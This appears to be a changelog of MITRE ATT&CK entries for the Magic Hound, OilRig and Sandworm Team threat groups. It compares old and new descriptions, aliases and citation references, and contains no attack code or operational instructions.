| description | [Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive operations to collect intelligence, dating back as early as 2014. The group typically targets U.S. and the Middle Eastern military, as well as other organizations with government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018) | [Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted U.S. and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021) |
| aliases[1] | Cobalt Gypsy | TA453 |
| aliases[2] | Operation Woolen-Goldfish | COBALT ILLUSION |
| aliases[3] | Ajax Security Team | Charming Kitten |
| aliases[4] | Operation Saffron Rose | ITG18 |
| external_references[1]['source_name'] | Magic Hound | Charming Kitten |
| external_references[1]['description'] | (Citation: Unit 42 Magic Hound Feb 2017) | (Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022) |
| external_references[2]['source_name'] | Cobalt Gypsy | APT35 |
| external_references[2]['description'] | Based on overlapping hash values in reporting, Magic Hound activity appears to overlap with activity conducted by the group known as Cobalt Gypsy.(Citation: Secureworks Cobalt Gypsy Feb 2017) | (Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021)(Citation: Check Point APT35 CharmPower January 2022) |
| external_references[3]['source_name'] | Operation Woolen-Goldfish | ITG18 |
| external_references[3]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Woolen-Goldfish.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: IBM ITG18 2020) |
| external_references[4]['source_name'] | Ajax Security Team | Phosphorus |
| external_references[4]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the group Ajax Security Team.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021)(Citation: Check Point APT35 CharmPower January 2022) |
| external_references[5]['source_name'] | Operation Saffron Rose | TA453 |
| external_references[5]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the campaign Operation Saffron Rose.(Citation: Unit 42 Magic Hound Feb 2017) | (Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021)(Citation: Check Point APT35 CharmPower January 2022) |
| external_references[6]['source_name'] | Rocket Kitten | COBALT ILLUSION |
| external_references[6]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the adversary group Rocket Kitten.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: ClearSky Charming Kitten Dec 2017) | (Citation: Secureworks COBALT ILLUSION Threat Profile) |
| external_references[7]['source_name'] | Phosphorus | Magic Hound |
| external_references[7]['description'] | (Citation: Microsoft Phosphorus Mar 2019) | (Citation: Unit 42 Magic Hound Feb 2017) |
| external_references[8]['source_name'] | Newscaster | Microsoft Phosphorus Mar 2019 |
| external_references[8]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) | Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020. |
| external_references[9]['source_name'] | APT35 | Microsoft Phosphorus Oct 2020 |
| external_references[9]['description'] | (Citation: FireEye APT35 2018) | Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021. |
| external_references[10]['source_name'] | FireEye APT35 2018 | Certfa Charming Kitten January 2021 |
| external_references[10]['description'] | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. | Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021. |
| external_references[10]['url'] | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf | https://blog.certfa.com/posts/charming-kitten-christmas-gift/ |
| external_references[11]['source_name'] | Unit 42 Magic Hound Feb 2017 | Check Point APT35 CharmPower January 2022 |
| external_references[11]['description'] | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. | Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ | https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/ |
| external_references[12]['source_name'] | Secureworks Cobalt Gypsy Feb 2017 | ClearSky Charming Kitten Dec 2017 |
| external_references[12]['description'] | Counter Threat Unit Research Team. (2017, February 15). Iranian PupyRAT Bites Middle Eastern Organizations. Retrieved December 27, 2017. | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. |
| external_references[12]['url'] | https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf |
| external_references[13]['source_name'] | ClearSky Charming Kitten Dec 2017 | ClearSky Kittens Back 2 Oct 2019 |
| external_references[13]['description'] | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. | ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021. |
| external_references[13]['url'] | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf | https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf |
| external_references[14]['source_name'] | Microsoft Phosphorus Mar 2019 | ClearSky Kittens Back 3 August 2020 |
| external_references[14]['description'] | Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020. | ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021. |
| external_references[14]['url'] | https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ | https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf |
| x_mitre_version | 2.0 | 4.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Eweek Newscaster and Charming Kitten May 2014', 'description': 'Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021.', 'url': 'https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering'} | |
| external_references | {'source_name': 'Unit 42 Magic Hound Feb 2017', 'description': 'Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.', 'url': 'https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/'} | |
| external_references | {'source_name': 'Newscaster', 'description': 'Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)'} | |
| external_references | {'source_name': 'FireEye APT35 2018', 'description': 'Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.', 'url': 'https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf'} | |
| external_references | {'source_name': 'Proofpoint TA453 July2021', 'description': 'Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021.', 'url': 'https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453'} | |
| external_references | {'source_name': 'Proofpoint TA453 March 2021', 'description': 'Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021.', 'url': 'https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential'} | |
| external_references | {'source_name': 'Secureworks COBALT ILLUSION Threat Profile', 'description': 'Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/cobalt-illusion'} | |
| external_references | {'source_name': 'US District Court of DC Phosphorus Complaint 2019', 'description': 'US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.', 'url': 'https://noticeofpleadings.com/phosphorus/files/Complaint.pdf'} | |
| external_references | {'source_name': 'IBM ITG18 2020', 'description': 'Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.', 'url': 'https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/'} | |
| x_mitre_contributors | Anastasios Pingios | |
| x_mitre_contributors | Daniyal Naeem, BT Security |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | Rocket Kitten |
Current version: 3.0
Version changed from: 1.4 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect | t | 1 | [OilRig](https://attack.mitre.org/groups/G0049) is a suspect |
| > | ed Iranian threat group that has targeted Middle Eastern and | > | ed Iranian threat group that has targeted Middle Eastern and | ||
| > | international victims since at least 2014. The group has ta | > | international victims since at least 2014. The group has ta | ||
| > | rgeted a variety of industries, including financial, governm | > | rgeted a variety of sectors, including financial, government | ||
| > | ent, energy, chemical, and telecommunications, and has large | > | , energy, chemical, and telecommunications. It appears the g | ||
| > | ly focused its operations within the Middle East. It appears | > | roup carries out supply chain attacks, leveraging the trust | ||
| > | the group carries out supply chain attacks, leveraging the | > | relationship between organizations to attack their primary t | ||
| > | trust relationship between organizations to attack their pri | > | argets. FireEye assesses that the group works on behalf of t | ||
| > | mary targets. FireEye assesses that the group works on behal | > | he Iranian government based on infrastructure details that c | ||
| > | f of the Iranian government based on infrastructure details | > | ontain references to Iran, use of Iranian infrastructure, an | ||
| > | that contain references to Iran, use of Iranian infrastructu | > | d targeting that aligns with nation-state interests.(Citatio | ||
| > | re, and targeting that aligns with nation-state interests. ( | > | n: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Ja | ||
| > | Citation: Palo Alto OilRig April 2017) (Citation: ClearSky O | > | n 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo | ||
| > | ilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citat | > | Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(C | ||
| > | ion: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook | > | itation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT | ||
| > | Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit | > | July 2018) | ||
| > | 42 QUADAGENT July 2018) This group was previously tracked un | ||||
| > | der two distinct groups, APT34 and OilRig, but was combined | ||||
| > | due to additional reporting giving higher confidence about t | ||||
| > | he overlap of the activity. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-15 23:59:31.684000+00:00 | 2022-05-23 21:20:37.658000+00:00 |
| description | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. | [OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.(Citation: Palo Alto OilRig April 2017)(Citation: ClearSky OilRig Jan 2017)(Citation: Palo Alto OilRig May 2016)(Citation: Palo Alto OilRig Oct 2016)(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) |
| external_references[1]['source_name'] | OilRig | IRN2 |
| external_references[1]['description'] | (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018) | (Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[2]['source_name'] | IRN2 | OilRig |
| external_references[2]['description'] | (Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018) |
| external_references[3]['source_name'] | HELIX KITTEN | COBALT GYPSY |
| external_references[3]['description'] | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) | (Citation: Secureworks COBALT GYPSY Threat Profile) |
| external_references[4]['source_name'] | APT34 | HELIX KITTEN |
| external_references[4]['description'] | This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017) | (Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018) |
| external_references[5]['source_name'] | Palo Alto OilRig April 2017 | Check Point APT34 April 2021 |
| external_references[5]['description'] | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. | Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021. |
| external_references[5]['url'] | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ | https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/ |
| external_references[8]['source_name'] | Palo Alto OilRig Oct 2016 | Palo Alto OilRig April 2017 |
| external_references[8]['description'] | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. | Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017. |
| external_references[8]['url'] | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ | http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/ |
| external_references[9]['source_name'] | Unit 42 Playbook Dec 2017 | Palo Alto OilRig Oct 2016 |
| external_references[9]['description'] | Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017. | Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. |
| external_references[9]['url'] | https://pan-unit42.github.io/playbook_viewer/ | http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ |
| external_references[10]['source_name'] | FireEye APT34 Dec 2017 | Unit 42 QUADAGENT July 2018 |
| external_references[10]['description'] | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. |
| external_references[10]['url'] | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ |
| external_references[11]['source_name'] | Unit 42 QUADAGENT July 2018 | Crowdstrike Helix Kitten Nov 2018 |
| external_references[11]['description'] | Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018. | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. |
| external_references[11]['url'] | https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/ | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ |
| external_references[12]['source_name'] | Crowdstrike Helix Kitten Nov 2018 | FireEye APT34 Dec 2017 |
| external_references[12]['description'] | Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018. | Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017. |
| external_references[12]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/ | https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html |
| x_mitre_version | 1.4 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | COBALT GYPSY | |
| external_references | {'source_name': 'Secureworks COBALT GYPSY Threat Profile', 'description': 'Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/cobalt-gypsy'} | |
| external_references | {'source_name': 'APT34', 'description': 'This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)'} | |
| external_references | {'source_name': 'Unit 42 Playbook Dec 2017', 'description': 'Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.', 'url': 'https://pan-unit42.github.io/playbook_viewer/'} | |
| x_mitre_contributors | Dragos Threat Intelligence |
Current version: 2.2
Version changed from: 1.0 → 2.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a | t | 1 | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a |
| > | destructive Russian threat group that has been attributed to | > | destructive threat group that has been attributed to Russia' | ||
| > | Russian GRU Unit 74455 by the U.S. Department of Justice an | > | s General Staff Main Intelligence Directorate (GRU) Main Cen | ||
| > | d U.K. National Cyber Security Centre. [Sandworm Team](https | > | ter for Special Technologies (GTsST) military unit 74455.(Ci | ||
| > | ://attack.mitre.org/groups/G0034)'s most notable attacks inc | > | tation: US District Court Indictment GRU Unit 74455 October | ||
| > | lude the 2015 and 2016 targeting of Ukrainian electrical com | > | 2020)(Citation: UK NCSC Olympic Attacks October 2020) This g | ||
| > | panies and 2017's [NotPetya](https://attack.mitre.org/softwa | > | roup has been active since at least 2009.(Citation: iSIGHT S | ||
| > | re/S0368) attacks. [Sandworm Team](https://attack.mitre.org/ | > | andworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: U | ||
| > | groups/G0034) has been active since at least 2009.(Citation: | > | SDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) I | ||
| > | iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Ci | > | n October 2020, the US indicted six GRU Unit 74455 officers | ||
| > | tation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb | > | associated with [Sandworm Team](https://attack.mitre.org/gro | ||
| > | 2020) | > | ups/G0034) for the following cyber operations: the 2015 and | ||
| > | 2016 attacks against Ukrainian electrical companies and gove | ||||
| > | rnment organizations, the 2017 worldwide [NotPetya](https:// | ||||
| > | attack.mitre.org/software/S0368) attack, targeting of the 20 | ||||
| > | 17 French presidential campaign, the 2018 [Olympic Destroyer | ||||
| > | ](https://attack.mitre.org/software/S0365) attack against th | ||||
| > | e Winter Olympic Games, the 2018 operation against the Organ | ||||
| > | isation for the Prohibition of Chemical Weapons, and attacks | ||||
| > | against the country of Georgia in 2018 and 2019.(Citation: | ||||
| > | US District Court Indictment GRU Unit 74455 October 2020)(Ci | ||||
| > | tation: UK NCSC Olympic Attacks October 2020) Some of these | ||||
| > | were conducted with the assistance of GRU Unit 26165, which | ||||
| > | is also referred to as [APT28](https://attack.mitre.org/grou | ||||
| > | ps/G0007).(Citation: US District Court Indictment GRU Oct 20 | ||||
| > | 18) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Dragos Threat Intelligence'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-04 01:56:59.493000+00:00 | 2022-05-23 21:21:17.572000+00:00 |
| description | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive Russian threat group that has been attributed to Russian GRU Unit 74455 by the U.S. Department of Justice and U.K. National Cyber Security Centre. [Sandworm Team](https://attack.mitre.org/groups/G0034)'s most notable attacks include the 2015 and 2016 targeting of Ukrainian electrical companies and 2017's [NotPetya](https://attack.mitre.org/software/S0368) attacks. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) | [Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020) In October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018) |
| external_references[1]['source_name'] | Sandworm Team | VOODOO BEAR |
| external_references[1]['description'] | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014) | (Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[2]['description'] | (Citation: Dragos ELECTRUM) | (Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[3]['source_name'] | Telebots | Sandworm Team |
| external_references[3]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[4]['source_name'] | IRON VIKING | Quedagh |
| external_references[4]['description'] | (Citation: Secureworks IRON VIKING ) | (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[5]['description'] | (Citation: NCSC Sandworm Feb 2020) | (Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[6]['source_name'] | Quedagh | Telebots |
| external_references[6]['description'] | Based on similarities between TTPs, malware, and targeting, Sandworm Team and Quedagh appear to refer to the same group. (Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) | (Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[7]['source_name'] | VOODOO BEAR | IRON VIKING |
| external_references[7]['description'] | (Citation: CrowdStrike VOODOO BEAR) | (Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) |
| external_references[8]['source_name'] | iSIGHT Sandworm 2014 | US District Court Indictment GRU Oct 2018 |
| external_references[8]['description'] | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. | Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020. |
| external_references[8]['url'] | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html | https://www.justice.gov/opa/page/file/1098481/download |
| external_references[9]['source_name'] | CrowdStrike VOODOO BEAR | Dragos ELECTRUM |
| external_references[9]['description'] | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. |
| external_references[9]['url'] | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ | https://www.dragos.com/resource/electrum/ |
| external_references[10]['source_name'] | USDOJ Sandworm Feb 2020 | F-Secure BlackEnergy 2014 |
| external_references[10]['description'] | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. |
| external_references[10]['url'] | https://www.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/ | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf |
| external_references[11]['source_name'] | NCSC Sandworm Feb 2020 | iSIGHT Sandworm 2014 |
| external_references[11]['description'] | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. | Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017. |
| external_references[11]['url'] | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory | https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html |
| external_references[12]['source_name'] | F-Secure BlackEnergy 2014 | CrowdStrike VOODOO BEAR |
| external_references[12]['description'] | F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016. | Meyers, A. (2018, January 19). Meet CrowdStrike’s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018. |
| external_references[12]['url'] | https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf | https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/ |
| external_references[14]['source_name'] | Dragos ELECTRUM | NCSC Sandworm Feb 2020 |
| external_references[14]['description'] | Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020. | NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020. |
| external_references[14]['url'] | https://www.dragos.com/resource/electrum/ | https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory |
| external_references[15]['source_name'] | Secureworks IRON VIKING | USDOJ Sandworm Feb 2020 |
| external_references[15]['description'] | Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020. | Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020. |
